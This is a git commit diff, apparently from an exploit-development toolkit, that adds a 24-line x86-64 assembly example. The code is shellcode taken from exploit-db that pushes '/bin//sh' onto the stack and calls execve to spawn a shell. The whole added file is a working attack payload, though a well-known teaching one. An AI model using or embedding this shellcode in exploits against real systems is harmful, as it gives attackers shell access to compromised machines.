summaryrefslogtreecommitdiffstats
path: root/templates/shellcode/examples/shell64.asm
diff options
context:
space:
mode:
Diffstat (limited to 'templates/shellcode/examples/shell64.asm')
-rw-r--r--templates/shellcode/examples/shell64.asm24
1 files changed, 24 insertions, 0 deletions
diff --git a/templates/shellcode/examples/shell64.asm b/templates/shellcode/examples/shell64.asm
new file mode 100644
index 0000000..3812c33
--- /dev/null
+++ b/templates/shellcode/examples/shell64.asm
@@ -0,0 +1,24 @@
+; Originally based on https://www.exploit-db.com/shellcodes/47008
+
+; stack layout
+;
+; ┏━━━━━━━━━━━━━━┓
+; ┃ v
+; [ argv0, NULL ] "/bin//sh" NULL
+; ^ ^ ^
+; ┃ ┃ ┃
+; argv envp filename
+
+; execve("/bin/sh", ["/bin/sh"], [])
+xor rax, rax
+xor rsi, rsi
+mov rdi, 0x68732f2f6e69622f
+push rsi
+push rdi
+mov rdi, rsp
+push rsi
+mov rdx, rsp
+push rdi
+mov rsi, rsp
+mov al, 59
+syscall